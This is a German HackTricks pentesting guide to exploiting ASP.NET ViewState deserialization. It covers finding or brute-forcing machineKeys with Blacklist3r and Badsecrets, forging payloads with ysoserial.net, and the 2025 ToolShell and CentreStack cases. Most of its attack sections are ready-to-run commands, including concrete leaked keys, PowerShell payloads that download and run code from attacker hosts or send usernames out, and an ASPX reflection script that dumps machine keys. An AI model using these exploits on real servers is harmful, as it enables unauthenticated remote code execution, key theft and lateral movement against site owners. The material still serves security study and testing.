Exploiting __VIEWSTATE without knowing the secrets

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Was ist ViewState

ViewState dient als der Standardmechanismus in ASP.NET, um Seiten- und Steuerungsdaten über Webseiten hinweg zu erhalten. Während des Renderns des HTML einer Seite werden der aktuelle Zustand der Seite und Werte, die bei einem postback erhalten bleiben sollen, in base64-kodierte Strings serialisiert. Diese Strings werden dann in versteckten ViewState-Feldern abgelegt.

ViewState-Informationen lassen sich durch die folgenden Eigenschaften oder deren Kombinationen charakterisieren:

  • Base64:
  • Dieses Format wird verwendet, wenn sowohl die Attribute EnableViewStateMac als auch ViewStateEncryptionMode auf false gesetzt sind.
  • Base64 + MAC (Message Authentication Code) Enabled:
  • Die Aktivierung von MAC erfolgt durch Setzen des Attributes EnableViewStateMac auf true. Dies bietet eine Integritätsprüfung für ViewState-Daten.
  • Base64 + Encrypted:
  • Eine Verschlüsselung wird angewendet, wenn das Attribut ViewStateEncryptionMode auf true gesetzt ist, wodurch die Vertraulichkeit der ViewState-Daten gewährleistet wird.

Testfälle

Das Bild ist eine Tabelle, die verschiedene Konfigurationen für ViewState in ASP.NET basierend auf der .NET-Framework-Version darstellt. Hier ist eine Zusammenfassung des Inhalts:

  1. Für jede .NET-Version, wenn sowohl MAC als auch Encryption deaktiviert sind, wird kein MachineKey benötigt, und daher gibt es keine anwendbare Methode, ihn zu identifizieren.
  2. Für Versionen unter 4.5, wenn MAC aktiviert, aber Encryption nicht aktiviert ist, wird ein MachineKey benötigt. Die Methode zur Identifizierung des MachineKey wird als “Blacklist3r” bezeichnet.
  3. Für Versionen unter 4.5, unabhängig davon, ob MAC ein- oder ausgeschaltet ist, wird bei aktivierter Encryption ein MachineKey benötigt. Die Identifizierung des MachineKey ist eine Aufgabe für “Blacklist3r - Future Development.”
  4. Für Versionen 4.5 und höher erfordern alle Kombinationen von MAC und Encryption (ob beide true sind oder eines true und das andere false ist) einen MachineKey. Der MachineKey kann mit “Blacklist3r” identifiziert werden.

Testfall: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false

Es ist außerdem möglich, ViewStateMAC vollständig zu deaktivieren, indem der Registry-Schlüssel AspNetEnforceViewStateMac auf null gesetzt wird in:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identifizierung von ViewState-Attributen

Du kannst versuchen zu prüfen, ob ViewState mit einer MAC geschützt ist, indem du mit BurpSuite eine Anfrage erfasst, die diesen Parameter enthält. Wenn MAC nicht zum Schutz des Parameters verwendet wird, kannst du ihn mit YSoSerial.Net ausnutzen.

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Entwickler können ViewState entfernen, sodass es nicht Teil einer HTTP Request wird (der Benutzer erhält dieses cookie nicht).
Man könnte annehmen, dass wenn ViewState nicht vorhanden ist, ihre Implementierung vor möglichen Schwachstellen durch ViewState-Deserialisierung sicher ist.
Das ist jedoch nicht der Fall. Wenn wir den ViewState-Parameter zum Request-Body hinzufügen und unsere mit ysoserial erzeugte serialisierte Nutzlast senden, können wir immer noch Codeausführung erreichen, wie in Case 1 gezeigt.

Testfall: 2 – .Net < 4.5 und EnableViewStateMac=true & ViewStateEncryptionMode=false

Um ViewState MAC für eine bestimmte Seite zu aktivieren, müssen wir die folgenden Änderungen an einer bestimmten aspx file vornehmen:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Wir können das auch für die gesamte Anwendung tun, indem wir es in der web.config-Datei wie unten gezeigt festlegen:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Da der Parameter diesmal per MAC geschützt ist, benötigen wir, um den Angriff erfolgreich auszuführen, zunächst den verwendeten Key.

Du kannst versuchen, Blacklist3r(AspDotNetWrapper.exe) zu verwenden, um den verwendeten Key zu finden.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets ist ein weiteres Tool, das bekannte machineKeys identifizieren kann. Es ist in Python geschrieben, daher gibt es, im Gegensatz zu Blacklist3r, keine Windows-Abhängigkeit. Für .NET viewstates gibt es ein “python blacklist3r” Utility, das der schnellste Weg ist, es zu verwenden.

Es kann entweder direkt mit dem viewstate und dem Generator versorgt werden:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Oder es kann sich direkt mit der Ziel-URL verbinden und versuchen, den viewstate aus dem HTML zu extrahieren:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Um verwundbare viewstates in großem Maßstab zu suchen — in Verbindung mit subdomain enumeration — kann das badsecrets BBOT Modul verwendet werden:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Wenn Sie Glück haben und der Schlüssel gefunden wird, können Sie den Angriff mit YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

In Fällen, in denen der _VIEWSTATEGENERATOR-Parameter vom Server nicht gesendet wird, müssen Sie den --generator-Parameter nicht angeben, sondern diese:

--apppath="/" --path="/hello.aspx"

Exploiting recycled <machineKey> values at scale

Ink Dragon (2025) zeigte, wie gefährlich es ist, wenn Administratoren die Beispiel-<machineKey>-Blöcke aus Microsoft-Dokumenten, StackOverflow-Antworten oder Vendor-Blogs kopieren. Sobald ein einziges Ziel diese Keys leaked oder über die Farm wiederverwendet, kann jede andere ASP.NET-Seite, die ViewState vertraut, remote übernommen werden, ohne eine zusätzliche Schwachstelle.

  1. Erstelle eine Kandidaten-Wordlist mit den geleakten validationKey/decryptionKey-Pairs (z. B. öffentliche Repos, Microsoft-Blogposts oder Keys, die von einem Host in der Farm wiederhergestellt wurden) und füttere sie an Blacklist3r/Badsecrets:
AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
# or let Badsecrets spray the list
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld

Das Tool signiert wiederholt ein harmloses __VIEWSTATE-Blob mit jedem Kandidaten-Key, bis der Server die MAC akzeptiert und damit beweist, dass der Key gültig ist. 2. Fälsche den bösartigen ViewState, sobald das Key-Paar bekannt ist. Wenn die Verschlüsselung deaktiviert ist, brauchst du nur den validationKey. Ist Verschlüsselung aktiviert, füge den passenden decryptionKey hinzu, damit der Payload den decrypt → deserialize-Pfad übersteht:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
--validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>

Operatoren betten oft disk-residente Launcher (z. B. PrintNotifyPotato, ShadowPad Loader usw.) direkt in den Payload ein, da dieser als IIS-Worker (w3wp.exe) ausgeführt wird. 3. Pivot laterally durch Wiederverwendung des gleichen <machineKey> über benachbarte SharePoint/IIS-Knoten. Sobald ein Server kompromittiert ist, kannst du den Key erneut verwenden, um jeden anderen Server zu treffen, der seine Konfiguration nie rotiert hat.

Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true

In diesem Fall ist nicht bekannt, ob der Parameter mit MAC geschützt ist. Dann ist der Wert wahrscheinlich verschlüsselt und du wirst den Machine Key benötigen, um deinen Payload zu verschlüsseln, um die Schwachstelle auszunutzen.

In diesem Fall ist das Blacklist3r Modul in Entwicklung…

Vor .NET 4.5 kann ASP.NET einen unencrypted ___VIEWSTATE_Parameter vom Benutzer akzeptieren, selbst wenn ViewStateEncryptionMode auf Always gesetzt wurde. ASP.NET prüft nur das Vorhandensein des __VIEWSTATEENCRYPTED Parameters in der Anfrage. Wenn man diesen Parameter entfernt und das unverschlüsselte Payload sendet, wird es trotzdem verarbeitet.

Daher, wenn Angreifer einen Weg finden, den Machinekey via einer anderen vuln wie file traversal zu bekommen, kann der in Case 2 verwendete YSoSerial.Net Befehl benutzt werden, um RCE mittels ViewState-Deserialisierungs-Vulnerabilität durchzuführen.

  • Entferne den __VIEWSTATEENCRYPTED-Parameter aus der Anfrage, um die ViewState-Deserialisierungs-Vulnerabilität auszunutzen; andernfalls wird ein ViewState MAC-Validierungsfehler zurückgegeben und der Exploit schlägt fehl.

Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false

Wir können die Verwendung des ASP.NET-Frameworks erzwingen, indem wir den unten stehenden Parameter in der web.config-Datei wie unten gezeigt angeben.

<httpRuntime targetFramework="4.5" />

Alternativ kann dies durch Angabe der folgenden Option im machineKey-Parameter der Datei web.config erfolgen.

compatibilityMode="Framework45"

Wie zuvor ist der Wert verschlüsselt. Um eine gültige Payload zu senden, benötigt der attacker den Schlüssel.

Du kannst versuchen, Blacklist3r(AspDotNetWrapper.exe) zu verwenden, um den verwendeten Schlüssel zu finden:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Für eine detailliertere Beschreibung von IISDirPath und TargetPagePath siehe hier

Oder mit Badsecrets (with a generator value):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Sobald ein gültiger Machine key identifiziert wurde, ist der nächste Schritt, mit YSoSerial.Net eine serialisierte payload zu generieren.

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Wenn Sie den Wert von __VIEWSTATEGENERATOR haben, können Sie versuchen, den Parameter --generator mit diesem Wert zu verwenden und die Parameter --path und --apppath zu weglassen

Eine erfolgreiche Ausnutzung der ViewState-Deserialisierungs-Schwachstelle führt zu einer Out-of-Band-Anfrage an einen Angreifer-kontrollierten Server, die den Benutzernamen enthält. Diese Art von Exploit wird in einem Proof of Concept (PoC) demonstriert, das unter dem Titel “Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET” zu finden ist. Für weitere Details dazu, wie der Exploit-Prozess funktioniert und wie Werkzeuge wie Blacklist3r zur Identifizierung des MachineKey verwendet werden können, können Sie das bereitgestellte PoC of Successful Exploitation ansehen.

Testfall 6 – ViewStateUserKeys wird verwendet

Die Eigenschaft ViewStateUserKey kann verwendet werden, um sich gegen einen CSRF-Angriff zu schützen. Wenn ein solcher Key in der Anwendung definiert wurde und wir versuchen, mit den bisher besprochenen Methoden die ViewState-Payload zu erzeugen, wird die Payload von der Anwendung nicht verarbeitet.
Sie müssen einen weiteren Parameter verwenden, um die Payload korrekt zu erstellen:

--viewstateuserkey="randomstringdefinedintheserver"

Ergebnis einer erfolgreichen Exploitation

Für alle Testfälle, wenn die ViewState YSoSerial.Net payload erfolgreich funktioniert, antwortet der Server mit „500 Internal server error“, enthält den Antwortinhalt „The state information is invalid for this page and might be corrupted“ und wir bekommen die OOB reques.

Weitere Informationen

Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)

Angreifer, die in der Lage sind, upload or execute arbitrary ASPX code im Web-Root des Ziels auszuführen, können die geheimen Schlüssel, die __VIEWSTATE schützen, direkt abrufen, anstatt sie durch bruteforcing zu ermitteln. Eine minimale payload, die die keys leaks, greift über Reflection auf interne .NET-Klassen zu:

<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>

Beim Anfordern der Seite werden die ValidationKey, DecryptionKey, der Verschlüsselungsalgorithmus und der ASP.NET-Kompatibilitätsmodus ausgegeben. Diese Werte können nun direkt in ysoserial.net eingespeist werden, um ein gültiges, signiertes __VIEWSTATE-gadget zu erstellen:

ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"

This key-exfiltration primitive wurde 2025 massenhaft gegen on-prem SharePoint-Server ausgenutzt (“ToolShell” – CVE-2025-53770/53771), ist aber auf jede ASP.NET-Anwendung anwendbar, bei der ein Angreifer server-side code ausführen kann.

2024-2025 Real-world Exploitation Scenarios and Hard-coded Machine Keys

Microsoft “publicly disclosed machine keys” wave (Dec 2024 – Feb 2025)

Microsoft Threat Intelligence berichtete über die massenhafte Ausnutzung von ASP.NET-Sites, bei denen der machineKey zuvor auf öffentlichen Quellen leaked worden war (GitHub gists, blog posts, paste sites). Adversaries enumerated these keys and generated valid __VIEWSTATE gadgets with the newer ysoserial.net 1.41 --minify and --islegacy flags to evade WAF length limits:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify

Ziele, die wiederholt dieselben statischen Schlüssel über mehrere Farms hinweg verwenden, bleiben dauerhaft verwundbar; sobald sie zu AutoGenerate-Werten migrieren, ist die spray technique wirkungslos, daher priorisiere Legacy-Deployments, die weiterhin hartkodiertes Material preisgeben.

CVE-2025-30406 – Gladinet CentreStack / Triofox hartkodierte Schlüssel

Kudelski Security entdeckte, dass mehrere CentreStack / Triofox-Releases mit identischen machineKey-Werten ausgeliefert wurden, was unauthentifizierte Remote-Code-Ausführung durch ViewState-Fälschung ermöglichte (CVE-2025-30406).

One-liner-Exploit:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx

Behoben in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – aktualisieren Sie umgehend oder ersetzen Sie die Schlüssel.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks